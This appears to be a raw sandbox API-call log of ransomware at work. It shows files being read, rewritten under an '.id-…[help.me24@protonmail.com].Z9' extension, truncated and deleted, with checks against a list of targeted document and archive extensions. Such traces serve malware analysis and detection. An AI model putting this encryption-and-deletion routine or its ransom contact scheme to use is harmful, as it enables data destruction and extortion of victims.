	[0089.031] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.031] SetEndOfFile (hFile=0x2bc) returned 1
	[0089.031] CloseHandle (hObject=0x2bc) returned 1
	[0089.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1
	[0089.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0089.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0089.032] lstrlenW (lpString=".doc") returned 4
	[0089.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.032] lstrlenW (lpString=".docx") returned 5
	[0089.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.032] lstrlenW (lpString=".pdf") returned 4
	[0089.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.032] lstrlenW (lpString=".xls") returned 4
	[0089.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.032] lstrlenW (lpString=".xlsx") returned 5
	[0089.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.032] lstrlenW (lpString=".ppt") returned 4
	[0089.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0089.032] lstrlenW (lpString=".zip") returned 4
	[0089.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.032] lstrlenW (lpString=".rar") returned 4
	[0089.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.033] lstrlenW (lpString=".bz2") returned 4
	[0089.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.033] lstrlenW (lpString=".7z") returned 3
	[0089.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0089.033] lstrlenW (lpString=".dbf") returned 4
	[0089.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0089.033] lstrlenW (lpString=".1cd") returned 4
	[0089.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0089.033] lstrlenW (lpString=".jpg") returned 4
	[0089.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0089.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0089.033] lstrlenW (lpString=".doc") returned 4
	[0089.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.033] lstrlenW (lpString=".docx") returned 5
	[0089.033] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.033] lstrlenW (lpString=".pdf") returned 4
	[0089.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.033] lstrlenW (lpString=".xls") returned 4
	[0089.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.033] lstrlenW (lpString=".xlsx") returned 5
	[0089.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.033] lstrlenW (lpString=".ppt") returned 4
	[0089.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0089.033] lstrlenW (lpString=".zip") returned 4
	[0089.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.033] lstrlenW (lpString=".rar") returned 4
	[0089.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.033] lstrlenW (lpString=".bz2") returned 4
	[0089.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.034] lstrlenW (lpString=".7z") returned 3
	[0089.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0089.034] lstrlenW (lpString=".dbf") returned 4
	[0089.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0089.034] lstrlenW (lpString=".1cd") returned 4
	[0089.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0089.034] lstrlenW (lpString=".jpg") returned 4
	[0089.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.034] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.034] lstrlenW (lpString="BS01639_.WMF") returned 12
	[0089.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.034] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4236) returned 1
	[0089.034] CloseHandle (hObject=0x2bc) returned 1
	[0089.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220
	[0089.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.035] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.035] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.035] GetLastError () returned 0x0
	[0089.035] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x108c, lpOverlapped=0x0) returned 1
	[0089.037] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1090, lpOverlapped=0x0) returned 1
	[0089.038] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.038] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.038] SetEndOfFile (hFile=0x38c) returned 1
	[0089.038] CloseHandle (hObject=0x38c) returned 1
	[0089.039] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.039] SetEndOfFile (hFile=0x2bc) returned 1
	[0089.040] CloseHandle (hObject=0x2bc) returned 1
	[0089.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1
	[0089.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0089.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0089.041] lstrlenW (lpString=".doc") returned 4
	[0089.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.041] lstrlenW (lpString=".docx") returned 5
	[0089.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.041] lstrlenW (lpString=".pdf") returned 4
	[0089.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.041] lstrlenW (lpString=".xls") returned 4
	[0089.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.041] lstrlenW (lpString=".xlsx") returned 5
	[0089.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.041] lstrlenW (lpString=".ppt") returned 4
	[0089.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0089.041] lstrlenW (lpString=".zip") returned 4
	[0089.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.041] lstrlenW (lpString=".rar") returned 4
	[0089.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.041] lstrlenW (lpString=".bz2") returned 4
	[0089.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.041] lstrlenW (lpString=".7z") returned 3
	[0089.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0089.041] lstrlenW (lpString=".dbf") returned 4
	[0089.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0089.041] lstrlenW (lpString=".1cd") returned 4
	[0089.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0089.041] lstrlenW (lpString=".jpg") returned 4
	[0089.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0089.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0089.042] lstrlenW (lpString=".doc") returned 4
	[0089.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.042] lstrlenW (lpString=".docx") returned 5
	[0089.042] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.042] lstrlenW (lpString=".pdf") returned 4
	[0089.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.042] lstrlenW (lpString=".xls") returned 4
	[0089.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.042] lstrlenW (lpString=".xlsx") returned 5
	[0089.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.042] lstrlenW (lpString=".ppt") returned 4
	[0089.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0089.042] lstrlenW (lpString=".zip") returned 4
	[0089.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.042] lstrlenW (lpString=".rar") returned 4
	[0089.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.042] lstrlenW (lpString=".bz2") returned 4
	[0089.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.042] lstrlenW (lpString=".7z") returned 3
	[0089.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0089.042] lstrlenW (lpString=".dbf") returned 4
	[0089.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0089.042] lstrlenW (lpString=".1cd") returned 4
	[0089.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68
	[0089.042] lstrlenW (lpString=".jpg") returned 4
	[0089.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.042] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.042] lstrlenW (lpString="CG1606.WMF") returned 10
	[0089.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.409] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3564) returned 1
	[0089.409] CloseHandle (hObject=0x378) returned 1
	[0089.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220
	[0089.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.410] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.410] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0089.410] GetLastError () returned 0x0
	[0089.410] ReadFile (in: hFile=0x378, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xdec, lpOverlapped=0x0) returned 1
	[0089.419] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xdf0, lpOverlapped=0x0) returned 1
	[0089.420] ReadFile (in: hFile=0x378, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.420] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0089.420] SetEndOfFile (hFile=0x338) returned 1
	[0089.421] CloseHandle (hObject=0x338) returned 1
	[0089.421] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.421] SetEndOfFile (hFile=0x378) returned 1
	[0089.422] CloseHandle (hObject=0x378) returned 1
	[0089.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1
	[0089.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0089.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0089.422] lstrlenW (lpString=".doc") returned 4
	[0089.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.422] lstrlenW (lpString=".docx") returned 5
	[0089.422] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0089.422] lstrlenW (lpString=".pdf") returned 4
	[0089.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.422] lstrlenW (lpString=".xls") returned 4
	[0089.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.422] lstrlenW (lpString=".xlsx") returned 5
	[0089.422] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0089.422] lstrlenW (lpString=".ppt") returned 4
	[0089.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0089.422] lstrlenW (lpString=".zip") returned 4
	[0089.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.422] lstrlenW (lpString=".rar") returned 4
	[0089.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.422] lstrlenW (lpString=".bz2") returned 4
	[0089.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString=".7z") returned 3
	[0089.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0089.423] lstrlenW (lpString=".dbf") returned 4
	[0089.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0089.423] lstrlenW (lpString=".1cd") returned 4
	[0089.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0089.423] lstrlenW (lpString=".jpg") returned 4
	[0089.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0089.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0089.423] lstrlenW (lpString=".doc") returned 4
	[0089.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString=".docx") returned 5
	[0089.423] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0089.423] lstrlenW (lpString=".pdf") returned 4
	[0089.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString=".xls") returned 4
	[0089.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.423] lstrlenW (lpString=".xlsx") returned 5
	[0089.423] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0089.423] lstrlenW (lpString=".ppt") returned 4
	[0089.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0089.423] lstrlenW (lpString=".zip") returned 4
	[0089.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.423] lstrlenW (lpString=".rar") returned 4
	[0089.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString=".bz2") returned 4
	[0089.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString=".7z") returned 3
	[0089.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0089.424] lstrlenW (lpString=".dbf") returned 4
	[0089.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0089.424] lstrlenW (lpString=".1cd") returned 4
	[0089.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0089.424] lstrlenW (lpString=".jpg") returned 4
	[0089.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.424] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.424] lstrlenW (lpString="DD00407_.WMF") returned 12
	[0089.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.476] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=7828) returned 1
	[0089.476] CloseHandle (hObject=0x370) returned 1
	[0089.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x220
	[0089.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0089.477] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.477] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0089.478] GetLastError () returned 0x0
	[0089.478] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x1e94, lpOverlapped=0x0) returned 1
	[0089.481] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1ea0, lpOverlapped=0x0) returned 1
	[0089.482] ReadFile (in: hFile=0x370, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.482] WriteFile (in: hFile=0x388, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
